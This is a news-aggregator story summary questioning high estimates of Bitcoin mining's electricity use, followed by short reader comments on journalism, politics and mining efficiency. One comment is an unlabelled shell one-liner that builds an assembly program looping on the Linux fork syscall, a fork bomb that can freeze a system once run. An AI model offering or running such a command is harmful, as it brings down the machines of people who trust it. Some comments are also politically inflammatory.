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Estimates of Bitcoin's Soaring Energy Use Are Likely Overstating the Electric Power Required To Mine the Cryptocurrency (cnbc.com)
From a report: The computer process that generates each coin is said to be on pace to require more electricity than the United States consumes in a year. This bitcoin "mining" allegedly consumes more power than most countries use each year, and its electricity usage is roughly equivalent to Bulgaria's consumption. But here's another thing you might want to know: All of that analysis is based on a single estimate of bitcoin's power consumption that is highly questionable, according to some long-time energy and IT researchers. Despite their skepticism, this power-consumption estimate from the website Digiconomist has quickly been accepted as gospel by many journalists, research analysts and even billionaire investors. That model is also the basis for forecasts of bitcoin's future energy use that remind some experts of wild projections about internet data traffic in the mid-1990s that contributed back then to companies spending far too much for capacity they would eventually not need. "Doing these wild extrapolations can have real-world consequences," said Jonathan Koomey, a Stanford University lecturer who pioneered studies of electricity usage from IT equipment and helped debunk faulty forecasts in the 1990s. "I would not bet anything on the bitcoin thing driving total electricity demand. It is a tiny, tiny part of all data center electricity use."
... and journalists took the bait hook line and sinker.
Must be another day ending in Y.
Once the Democrats give up on carbon taxes, we can go back to having a civilised discussion.
It's like after they lost the civil war it stopped being controversial to say that working black people to death on plantations is bad. Before the civil war, questioning drapetomania was questioning The Science.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Central planning sucks at anticipating demand / huge differences between rainy season and dry season / China is big and the distances to other regions that would need the energy is too great
Pick one, two or three :)
it's in my head
You assume everyone that is mining is using the most efficient hardware, which all those people surfing pornhub and mining in the background for them aren't. Those people are mining in the most inefficient means possible.